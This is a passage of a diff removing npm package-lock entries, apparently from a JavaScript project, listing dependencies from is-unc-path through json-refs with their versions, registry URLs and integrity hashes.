"resolved": "https://registry.npmjs.org/is-unc-path/-/is-unc-path-1.0.0.tgz", +- "integrity": "sha512-mrGpVd0fs7WWLfVsStvgF6iEJnbjDFZh9/emhRDcGWTduTfNHd9CHeUwH3gYIjdbwo4On6hunkztwOaAw0yllQ==", +- "requires": { +- "unc-path-regex": "^0.1.2" +- } +- }, +- "is-unicode-supported": { +- "version": "0.1.0", +- "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-0.1.0.tgz", +- "integrity": "sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==", +- "dev": true +- }, +- "is-utf8": { +- "version": "0.2.1", +- "resolved": "https://registry.npmjs.org/is-utf8/-/is-utf8-0.2.1.tgz", +- "integrity": "sha1-Sw2hRCEE0bM2NA6AeX6GXPOffXI=", +- "dev": true +- }, +- "is-valid-glob": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/is-valid-glob/-/is-valid-glob-1.0.0.tgz", +- "integrity": "sha1-Kb8+/3Ab4tTTFdusw5vDn+j2Aao=", +- "dev": true +- }, +- "is-valid-hostname": { +- "version": "1.0.2", +- "resolved": "https://registry.npmjs.org/is-valid-hostname/-/is-valid-hostname-1.0.2.tgz", +- "integrity": "sha512-X/kiF3Xndj6WI7l/yLyzR7V1IbQd6L4S4cewSL0fRciemPmHbaXIKR2qtf+zseH+lbMG0vFp4HvCUe7amGZVhw==" +- }, +- "is-weakref": { +- "version": "1.0.2", +- "resolved": "https://registry.npmjs.org/is-weakref/-/is-weakref-1.0.2.tgz", +- "integrity": "sha512-qctsuLZmIQ0+vSSMfoVvyFe2+GSEvnmZ2ezTup1SBse9+twCCeial6EEi3Nc2KFcf6+qz2FBPnjXsk8xhKSaPQ==", +- "requires": { +- "call-bind": "^1.0.2" +- } +- }, +- "is-what": { +- "version": "3.14.1", +- "resolved": "https://registry.npmjs.org/is-what/-/is-what-3.14.1.tgz", +- "integrity": "sha512-sNxgpk9793nzSs7bA6JQJGeIuRBQhAaNGG77kzYQgMkrID+lS6SlK07K5LaptscDlSaIgH+GPFzf+d75FVxozA==", +- "dev": true +- }, +- "is-windows": { +- "version": "1.0.2", +- "resolved": "https://registry.npmjs.org/is-windows/-/is-windows-1.0.2.tgz", +- "integrity": "sha512-eXK1UInq2bPmjyX6e3VHIzMLobc4J94i4AWn+Hpq3OU5KkrRC96OAcR3PRJ/pGu6m8TRnBHP9dkXQVsT/COVIA==" +- }, +- "is-wsl": { +- "version": "2.2.0", +- "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-2.2.0.tgz", +- "integrity": "sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww==", +- "requires": { +- "is-docker": "^2.0.0" +- } +- }, +- "isarray": { +- "version": "2.0.5", +- "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz", +- "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==" +- }, +- "isbinaryfile": { +- "version": "4.0.8", +- "resolved": "https://registry.npmjs.org/isbinaryfile/-/isbinaryfile-4.0.8.tgz", +- "integrity": "sha512-53h6XFniq77YdW+spoRrebh0mnmTxRPTlcuIArO57lmMdq4uBKFKaeTjnb92oYWrSn/LVL+LT+Hap2tFQj8V+w==", +- "dev": true +- }, +- "isemail": { +- "version": "3.2.0", +- "resolved": "https://registry.npmjs.org/isemail/-/isemail-3.2.0.tgz", +- "integrity": "sha512-zKqkK+O+dGqevc93KNsbZ/TqTUFd46MwWjYOoMrjIMZ51eU7DtQG3Wmd9SQQT7i7RVnuTPEiYEWHU3MSbxC1Tg==", +- "requires": { +- "punycode": "2.x.x" +- } +- }, +- "isexe": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", +- "integrity": "sha1-6PvzdNxVb/iUehDcsFctYz8s+hA=" +- }, +- "isobject": { +- "version": "3.0.1", +- "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", +- "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=" +- }, +- "isomorphic-unfetch": { +- "version": "3.1.0", +- "resolved": "https://registry.npmjs.org/isomorphic-unfetch/-/isomorphic-unfetch-3.1.0.tgz", +- "integrity": "sha512-geDJjpoZ8N0kWexiwkX8F9NkTsXhetLPVbZFQ+JTW239QNOwvB0gniuR1Wc6f0AMTn7/mFGyXvHTifrCp/GH8Q==", +- "requires": { +- "node-fetch": "^2.6.1", +- "unfetch": "^4.2.0" +- } +- }, +- "isomorphic-ws": { +- "version": "4.0.1", +- "resolved": "https://registry.npmjs.org/isomorphic-ws/-/isomorphic-ws-4.0.1.tgz", +- "integrity": "sha512-BhBvN2MBpWTaSHdWRb/bwdZJ1WaehQ2L1KngkCkfLUGF0mAWAT1sQUQacEmQ0jXkFw/czDXPNQSL5u2/Krsz1w==", +- "requires": {} +- }, +- "isstream": { +- "version": "0.1.2", +- "resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz", +- "integrity": "sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo=" +- }, +- "istanbul": { +- "version": "0.4.5", +- "resolved": "https://registry.npmjs.org/istanbul/-/istanbul-0.4.5.tgz", +- "integrity": "sha1-ZcfXPUxNqE1POsMQuRj7C4Azczs=", +- "dev": true, +- "requires": { +- "abbrev": "1.0.x", +- "async": "1.x", +- "escodegen": "1.8.x", +- "esprima": "2.7.x", +- "glob": "^5.0.15", +- "handlebars": "^4.0.1", +- "js-yaml": "3.x", +- "mkdirp": "0.5.x", +- "nopt": "3.x", +- "once": "1.x", +- "resolve": "1.1.x", +- "supports-color": "^3.1.0", +- "which": "^1.1.1", +- "wordwrap": "^1.0.0" +- }, +- "dependencies": { +- "abbrev": { +- "version": "1.0.9", +- "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.0.9.tgz", +- "integrity": "sha1-kbR5JYinc4wl813W9jdSovh3YTU=", +- "dev": true +- }, +- "argparse": { +- "version": "1.0.10", +- "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", +- "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", +- "dev": true, +- "requires": { +- "sprintf-js": "~1.0.2" +- } +- }, +- "async": { +- "version": "1.5.2", +- "resolved": "https://registry.npmjs.org/async/-/async-1.5.2.tgz", +- "integrity": "sha1-7GphrlZIDAw8skHJVhjiCJL5Zyo=", +- "dev": true +- }, +- "escodegen": { +- "version": "1.8.1", +- "resolved": "https://registry.npmjs.org/escodegen/-/escodegen-1.8.1.tgz", +- "integrity": "sha1-WltTr0aTEQvrsIZ6o0MN07cKEBg=", +- "dev": true, +- "requires": { +- "esprima": "^2.7.1", +- "estraverse": "^1.9.1", +- "esutils": "^2.0.2", +- "optionator": "^0.8.1", +- "source-map": "~0.2.0" +- } +- }, +- "esprima": { +- "version": "2.7.3", +- "resolved": "https://registry.npmjs.org/esprima/-/esprima-2.7.3.tgz", +- "integrity": "sha1-luO3DVd59q1JzQMmc9HDEnZ7pYE=", +- "dev": true +- }, +- "estraverse": { +- "version": "1.9.3", +- "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-1.9.3.tgz", +- "integrity": "sha1-r2fy3JIlgkFZUJJgkaQAXSnJu0Q=", +- "dev": true +- }, +- "glob": { +- "version": "5.0.15", +- "resolved": "https://registry.npmjs.org/glob/-/glob-5.0.15.tgz", +- "integrity": "sha1-G8k2ueAvSmA/zCIuz3Yz0wuLk7E=", +- "dev": true, +- "requires": { +- "inflight": "^1.0.4", +- "inherits": "2", +- "minimatch": "2 || 3", +- "once": "^1.3.0", +- "path-is-absolute": "^1.0.0" +- } +- }, +- "has-flag": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-1.0.0.tgz", +- "integrity": "sha1-nZ55MWXOAXoA8AQYxD+UKnsdEfo=", +- "dev": true +- }, +- "js-yaml": { +- "version": "3.14.1", +- "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz", +- "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==", +- "dev": true, +- "requires": { +- "argparse": "^1.0.7", +- "esprima": "^4.0.0" +- }, +- "dependencies": { +- "esprima": { +- "version": "4.0.1", +- "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", +- "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", +- "dev": true +- } +- } +- }, +- "nopt": { +- "version": "3.0.6", +- "resolved": "https://registry.npmjs.org/nopt/-/nopt-3.0.6.tgz", +- "integrity": "sha1-xkZdvwirzU2zWTF/eaxopkayj/k=", +- "dev": true, +- "requires": { +- "abbrev": "1" +- } +- }, +- "resolve": { +- "version": "1.1.7", +- "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.1.7.tgz", +- "integrity": "sha1-IDEU2CrSxe2ejgQRs5ModeiJ6Xs=", +- "dev": true +- }, +- "source-map": { +- "version": "0.2.0", +- "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.2.0.tgz", +- "integrity": "sha1-2rc/vPwrqBm03gO9b26qSBZLP50=", +- "dev": true, +- "optional": true, +- "requires": { +- "amdefine": ">=0.0.4" +- } +- }, +- "supports-color": { +- "version": "3.2.3", +- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-3.2.3.tgz", +- "integrity": "sha1-ZawFBLOVQXHYpklGsq48u4pfVPY=", +- "dev": true, +- "requires": { +- "has-flag": "^1.0.0" +- } +- }, +- "which": { +- "version": "1.3.1", +- "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz", +- "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", +- "dev": true, +- "requires": { +- "isexe": "^2.0.0" +- } +- } +- } +- }, +- "istanbul-lib-coverage": { +- "version": "3.2.0", +- "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.2.0.tgz", +- "integrity": "sha512-eOeJ5BHCmHYvQK7xt9GkdHuzuCGS1Y6g9Gvnx3Ym33fz/HpLRYxiS0wHNr+m/MBC8B647Xt608vCDEvhl9c6Mw==", +- "dev": true +- }, +- "istanbul-lib-hook": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/istanbul-lib-hook/-/istanbul-lib-hook-3.0.0.tgz", +- "integrity": "sha512-Pt/uge1Q9s+5VAZ+pCo16TYMWPBIl+oaNIjgLQxcX0itS6ueeaA+pEfThZpH8WxhFgCiEb8sAJY6MdUKgiIWaQ==", +- "dev": true, +- "requires": { +- "append-transform": "^2.0.0" +- } +- }, +- "istanbul-lib-instrument": { +- "version": "4.0.3", +- "resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-4.0.3.tgz", +- "integrity": "sha512-BXgQl9kf4WTCPCCpmFGoJkz/+uhvm7h7PFKUYxh7qarQd3ER33vHG//qaE8eN25l07YqZPpHXU9I09l/RD5aGQ==", +- "dev": true, +- "requires": { +- "@babel/core": "^7.7.5", +- "@istanbuljs/schema": "^0.1.2", +- "istanbul-lib-coverage": "^3.0.0", +- "semver": "^6.3.0" +- } +- }, +- "istanbul-lib-processinfo": { +- "version": "2.0.2", +- "resolved": "https://registry.npmjs.org/istanbul-lib-processinfo/-/istanbul-lib-processinfo-2.0.2.tgz", +- "integrity": "sha512-kOwpa7z9hme+IBPZMzQ5vdQj8srYgAtaRqeI48NGmAQ+/5yKiHLV0QbYqQpxsdEF0+w14SoB8YbnHKcXE2KnYw==", +- "dev": true, +- "requires": { +- "archy": "^1.0.0", +- "cross-spawn": "^7.0.0", +- "istanbul-lib-coverage": "^3.0.0-alpha.1", +- "make-dir": "^3.0.0", +- "p-map": "^3.0.0", +- "rimraf": "^3.0.0", +- "uuid": "^3.3.3" +- }, +- "dependencies": { +- "make-dir": { +- "version": "3.1.0", +- "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz", +- "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==", +- "dev": true, +- "requires": { +- "semver": "^6.0.0" +- } +- }, +- "p-map": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/p-map/-/p-map-3.0.0.tgz", +- "integrity": "sha512-d3qXVTF/s+W+CdJ5A29wywV2n8CQQYahlgz2bFiA+4eVNJbHJodPZ+/gXwPGh0bOqA+j8S+6+ckmvLGPk1QpxQ==", +- "dev": true, +- "requires": { +- "aggregate-error": "^3.0.0" +- } +- }, +- "rimraf": { +- "version": "3.0.2", +- "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", +- "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", +- "dev": true, +- "requires": { +- "glob": "^7.1.3" +- } +- } +- } +- }, +- "istanbul-lib-report": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-3.0.0.tgz", +- "integrity": "sha512-wcdi+uAKzfiGT2abPpKZ0hSU1rGQjUQnLvtY5MpQ7QCTahD3VODhcu4wcfY1YtkGaDD5yuydOLINXsfbus9ROw==", +- "dev": true, +- "requires": { +- "istanbul-lib-coverage": "^3.0.0", +- "make-dir": "^3.0.0", +- "supports-color": "^7.1.0" +- }, +- "dependencies": { +- "make-dir": { +- "version": "3.1.0", +- "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz", +- "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==", +- "dev": true, +- "requires": { +- "semver": "^6.0.0" +- } +- }, +- "supports-color": { +- "version": "7.2.0", +- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", +- "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", +- "dev": true, +- "requires": { +- "has-flag": "^4.0.0" +- } +- } +- } +- }, +- "istanbul-lib-source-maps": { +- "version": "4.0.1", +- "resolved": "https://registry.npmjs.org/istanbul-lib-source-maps/-/istanbul-lib-source-maps-4.0.1.tgz", +- "integrity": "sha512-n3s8EwkdFIJCG3BPKBYvskgXGoy88ARzvegkitk60NxRdwltLOTaH7CUiMRXvwYorl0Q712iEjcWB+fK/MrWVw==", +- "dev": true, +- "requires": { +- "debug": "^4.1.1", +- "istanbul-lib-coverage": "^3.0.0", +- "source-map": "^0.6.1" +- }, +- "dependencies": { +- "source-map": { +- "version": "0.6.1", +- "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", +- "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", +- "dev": true +- } +- } +- }, +- "istanbul-reports": { +- "version": "3.1.3", +- "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.1.3.tgz", +- "integrity": "sha512-x9LtDVtfm/t1GFiLl3NffC7hz+I1ragvgX1P/Lg1NlIagifZDKUkuuaAxH/qpwj2IuEfD8G2Bs/UKp+sZ/pKkg==", +- "dev": true, +- "requires": { +- "html-escaper": "^2.0.0", +- "istanbul-lib-report": "^3.0.0" +- } +- }, +- "jest-worker": { +- "version": "27.5.1", +- "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-27.5.1.tgz", +- "integrity": "sha512-7vuh85V5cdDofPyxn58nrPjBktZo0u9x1g8WtjQol+jZDaE+fhN+cIvTj11GndBnMnyfrUOG1sZQxCdjKh+DKg==", +- "requires": { +- "@types/node": "*", +- "merge-stream": "^2.0.0", +- "supports-color": "^8.0.0" +- } +- }, +- "jmespath": { +- "version": "0.16.0", +- "resolved": "https://registry.npmjs.org/jmespath/-/jmespath-0.16.0.tgz", +- "integrity": "sha512-9FzQjJ7MATs1tSpnco1K6ayiYE3figslrXA72G2HQ/n76RzvYlofyi5QM+iX4YRs/pu3yzxlVQSST23+dMDknw==" +- }, +- "joi": { +- "version": "17.6.0", +- "resolved": "https://registry.npmjs.org/joi/-/joi-17.6.0.tgz", +- "integrity": "sha512-OX5dG6DTbcr/kbMFj0KGYxuew69HPcAE3K/sZpEV2nP6e/j/C0HV+HNiBPCASxdx5T7DMoa0s8UeHWMnb6n2zw==", +- "requires": { +- "@hapi/hoek": "^9.0.0", +- "@hapi/topo": "^5.0.0", +- "@sideway/address": "^4.1.3", +- "@sideway/formula": "^3.0.0", +- "@sideway/pinpoint": "^2.0.0" +- }, +- "dependencies": { +- "@hapi/hoek": { +- "version": "9.2.1", +- "resolved": "https://registry.npmjs.org/@hapi/hoek/-/hoek-9.2.1.tgz", +- "integrity": "sha512-gfta+H8aziZsm8pZa0vj04KO6biEiisppNgA1kbJvFrrWu9Vm7eaUEy76DIxsuTaWvti5fkJVhllWc6ZTE+Mdw==" +- } +- } +- }, +- "jose": { +- "version": "4.6.0", +- "resolved": "https://registry.npmjs.org/jose/-/jose-4.6.0.tgz", +- "integrity": "sha512-0hNAkhMBNi4soKSAX4zYOFV+aqJlEz/4j4fregvasJzEVtjDChvWqRjPvHwLqr5hx28Ayr6bsOs1Kuj87V0O8w==" +- }, +- "jquery": { +- "version": "2.2.4", +- "resolved": "https://registry.npmjs.org/jquery/-/jquery-2.2.4.tgz", +- "integrity": "sha1-LInWiJterFIqfuoywUUhVZxsvwI=" +- }, +- "js-beautify": { +- "version": "1.14.0", +- "resolved": "https://registry.npmjs.org/js-beautify/-/js-beautify-1.14.0.tgz", +- "integrity": "sha512-yuck9KirNSCAwyNJbqW+BxJqJ0NLJ4PwBUzQQACl5O3qHMBXVkXb/rD0ilh/Lat/tn88zSZ+CAHOlk0DsY7GuQ==", +- "dev": true, +- "requires": { +- "config-chain": "^1.1.12", +- "editorconfig": "^0.15.3", +- "glob": "^7.1.3", +- "nopt": "^5.0.0" +- } +- }, +- "js-stringify": { +- "version": "1.0.2", +- "resolved": "https://registry.npmjs.org/js-stringify/-/js-stringify-1.0.2.tgz", +- "integrity": "sha1-Fzb939lyTyijaCrcYjCufk6Weds=" +- }, +- "js-tokens": { +- "version": "4.0.0", +- "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", +- "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==" +- }, +- "js-yaml": { +- "version": "4.1.0", +- "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.0.tgz", +- "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==", +- "requires": { +- "argparse": "^2.0.1" +- } +- }, +- "js2xmlparser": { +- "version": "4.0.2", +- "resolved": "https://registry.npmjs.org/js2xmlparser/-/js2xmlparser-4.0.2.tgz", +- "integrity": "sha512-6n4D8gLlLf1n5mNLQPRfViYzu9RATblzPEtm1SthMX1Pjao0r9YI9nw7ZIfRxQMERS87mcswrg+r/OYrPRX6jA==", +- "dev": true, +- "requires": { +- "xmlcreate": "^2.0.4" +- } +- }, +- "jsbn": { +- "version": "0.1.1", +- "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-0.1.1.tgz", +- "integrity": "sha1-peZUwuWi3rXyAdls77yoDA7y9RM=" +- }, +- "jsdoc": { +- "version": "3.6.10", +- "resolved": "https://registry.npmjs.org/jsdoc/-/jsdoc-3.6.10.tgz", +- "integrity": "sha512-IdQ8ppSo5LKZ9o3M+LKIIK8i00DIe5msDvG3G81Km+1dhy0XrOWD0Ji8H61ElgyEj/O9KRLokgKbAM9XX9CJAg==", +- "dev": true, +- "requires": { +- "@babel/parser": "^7.9.4", +- "@types/markdown-it": "^12.2.3", +- "bluebird": "^3.7.2", +- "catharsis": "^0.9.0", +- "escape-string-regexp": "^2.0.0", +- "js2xmlparser": "^4.0.2", +- "klaw": "^4.0.1", +- "markdown-it": "^12.3.2", +- "markdown-it-anchor": "^8.4.1", +- "marked": "^4.0.10", +- "mkdirp": "^1.0.4", +- "requizzle": "^0.2.3", +- "strip-json-comments": "^3.1.0", +- "taffydb": "2.6.2", +- "underscore": "~1.13.2" +- }, +- "dependencies": { +- "escape-string-regexp": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-2.0.0.tgz", +- "integrity": "sha512-UpzcLCXolUWcNu5HtVMHYdXJjArjsF9C0aNnquZYY4uW/Vu0miy5YoWvbV345HauVvcAUnpRuhMMcqTcGOY2+w==", +- "dev": true +- }, +- "mkdirp": { +- "version": "1.0.4", +- "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz", +- "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==", +- "dev": true +- } +- } +- }, +- "jsdoc-api": { +- "version": "7.1.1", +- "resolved": "https://registry.npmjs.org/jsdoc-api/-/jsdoc-api-7.1.1.tgz", +- "integrity": "sha512-0pkuPCzVXiqsDAsVrNFXCkHzlyNepBIDVtwwehry4RJAnZmXtlAz7rh8F9FRz53u3NeynGbex+bpYWwi8lE66A==", +- "dev": true, +- "requires": { +- "array-back": "^6.2.2", +- "cache-point": "^2.0.0", +- "collect-all": "^1.0.4", +- "file-set": "^4.0.2", +- "fs-then-native": "^2.0.0", +- "jsdoc": "^3.6.10", +- "object-to-spawn-args": "^2.0.1", +- "temp-path": "^1.0.0", +- "walk-back": "^5.1.0" +- } +- }, +- "jsdoc-parse": { +- "version": "6.1.0", +- "resolved": "https://registry.npmjs.org/jsdoc-parse/-/jsdoc-parse-6.1.0.tgz", +- "integrity": "sha512-n/hDGQJa69IBun1yZAjqzV4gVR41+flZ3bIlm9fKvNe2Xjsd1/+zCo2+R9ls8LxtePgIWbpA1jU7xkB2lRdLLg==", +- "dev": true, +- "requires": { +- "array-back": "^6.2.2", +- "lodash.omit": "^4.5.0", +- "lodash.pick": "^4.4.0", +- "reduce-extract": "^1.0.0", +- "sort-array": "^4.1.4", +- "test-value": "^3.0.0" +- } +- }, +- "jsdoc-to-markdown": { +- "version": "7.1.1", +- "resolved": "https://registry.npmjs.org/jsdoc-to-markdown/-/jsdoc-to-markdown-7.1.1.tgz", +- "integrity": "sha512-CI86d63xAVNO+ENumWwmJ034lYe5iGU5GwjtTA11EuphP9tpnoi4hrKgR/J8uME0D+o4KUpVfwX1fjZhc8dEtg==", +- "dev": true, +- "requires": { +- "array-back": "^6.2.2", +- "command-line-tool": "^0.8.0", +- "config-master": "^3.1.0", +- "dmd": "^6.1.0", +- "jsdoc-api": "^7.1.1", +- "jsdoc-parse": "^6.1.0", +- "walk-back": "^5.1.0" +- } +- }, +- "jsdom": { +- "version": "19.0.0", +- "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-19.0.0.tgz", +- "integrity": "sha512-RYAyjCbxy/vri/CfnjUWJQQtZ3LKlLnDqj+9XLNnJPgEGeirZs3hllKR20re8LUZ6o1b1X4Jat+Qd26zmP41+A==", +- "dev": true, +- "requires": { +- "abab": "^2.0.5", +- "acorn": "^8.5.0", +- "acorn-globals": "^6.0.0", +- "cssom": "^0.5.0", +- "cssstyle": "^2.3.0", +- "data-urls": "^3.0.1", +- "decimal.js": "^10.3.1", +- "domexception": "^4.0.0", +- "escodegen": "^2.0.0", +- "form-data": "^4.0.0", +- "html-encoding-sniffer": "^3.0.0", +- "http-proxy-agent": "^5.0.0", +- "https-proxy-agent": "^5.0.0", +- "is-potential-custom-element-name": "^1.0.1", +- "nwsapi": "^2.2.0", +- "parse5": "6.0.1", +- "saxes": "^5.0.1", +- "symbol-tree": "^3.2.4", +- "tough-cookie": "^4.0.0", +- "w3c-hr-time": "^1.0.2", +- "w3c-xmlserializer": "^3.0.0", +- "webidl-conversions": "^7.0.0", +- "whatwg-encoding": "^2.0.0", +- "whatwg-mimetype": "^3.0.0", +- "whatwg-url": "^10.0.0", +- "ws": "^8.2.3", +- "xml-name-validator": "^4.0.0" +- }, +- "dependencies": { +- "@tootallnate/once": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-2.0.0.tgz", +- "integrity": "sha512-XCuKFP5PS55gnMVu3dty8KPatLqUoy/ZYzDzAGCQ8JNFCkLXzmI7vNHCR+XpbZaMWQK/vQubr7PkYq8g470J/A==", +- "dev": true +- }, +- "acorn": { +- "version": "8.7.0", +- "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.7.0.tgz", +- "integrity": "sha512-V/LGr1APy+PXIwKebEWrkZPwoeoF+w1jiOBUmuxuiUIaOHtob8Qc9BTrYo7VuI5fR8tqsy+buA2WFooR5olqvQ==", +- "dev": true +- }, +- "form-data": { +- "version": "4.0.0", +- "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.0.tgz", +- "integrity": "sha512-ETEklSGi5t0QMZuiXoA/Q6vcnxcLQP5vdugSpuAyi6SVGi2clPPp+xgEhuMaHC+zGgn31Kd235W35f7Hykkaww==", +- "dev": true, +- "requires": { +- "asynckit": "^0.4.0", +- "combined-stream": "^1.0.8", +- "mime-types": "^2.1.12" +- } +- }, +- "http-proxy-agent": { +- "version": "5.0.0", +- "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-5.0.0.tgz", +- "integrity": "sha512-n2hY8YdoRE1i7r6M0w9DIw5GgZN0G25P8zLCRQ8rjXtTU3vsNFBI/vWK/UIeE6g5MUUz6avwAPXmL6Fy9D/90w==", +- "dev": true, +- "requires": { +- "@tootallnate/once": "2", +- "agent-base": "6", +- "debug": "4" +- } +- }, +- "tr46": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/tr46/-/tr46-3.0.0.tgz", +- "integrity": "sha512-l7FvfAHlcmulp8kr+flpQZmVwtu7nfRV7NZujtN0OqES8EL4O4e0qqzL0DC5gAvx/ZC/9lk6rhcUwYvkBnBnYA==", +- "dev": true, +- "requires": { +- "punycode": "^2.1.1" +- } +- }, +- "whatwg-url": { +- "version": "10.0.0", +- "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-10.0.0.tgz", +- "integrity": "sha512-CLxxCmdUby142H5FZzn4D8ikO1cmypvXVQktsgosNy4a4BHrDHeciBBGZhb0bNoR5/MltoCatso+vFjjGx8t0w==", +- "dev": true, +- "requires": { +- "tr46": "^3.0.0", +- "webidl-conversions": "^7.0.0" +- } +- } +- } +- }, +- "jsdom-global": { +- "version": "3.0.2", +- "resolved": "https://registry.npmjs.org/jsdom-global/-/jsdom-global-3.0.2.tgz", +- "integrity": "sha1-a9KZwTsMRiay2iwDk81DhdYGrLk=", +- "dev": true, +- "requires": {} +- }, +- "jsesc": { +- "version": "2.5.2", +- "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-2.5.2.tgz", +- "integrity": "sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==" +- }, +- "json-bigint": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/json-bigint/-/json-bigint-1.0.0.tgz", +- "integrity": "sha512-SiPv/8VpZuWbvLSMtTDU8hEfrZWg/mH/nV/b4o0CYbSxu1UIQPLdwKOCIyLQX+VIPO5vrLX3i8qtqFyhdPSUSQ==", +- "requires": { +- "bignumber.js": "^9.0.0" +- } +- }, +- "json-buffer": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.0.tgz", +- "integrity": "sha1-Wx85evx11ne96Lz8Dkfh+aPZqJg=" +- }, +- "json-parse-better-errors": { +- "version": "1.0.2", +- "resolved": "https://registry.npmjs.org/json-parse-better-errors/-/json-parse-better-errors-1.0.2.tgz", +- "integrity": "sha512-mrqyZKfX5EhL7hvqcV6WG1yYjnjeuYDzDhhcAAUrq8Po85NBQBJP+ZDUT75qZQ98IkUoBqdkExkukOU7Ts2wrw==" +- }, +- "json-parse-even-better-errors": { +- "version": "2.3.1", +- "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz", +- "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==", +- "dev": true +- }, +- "json-refs": { +- "version": 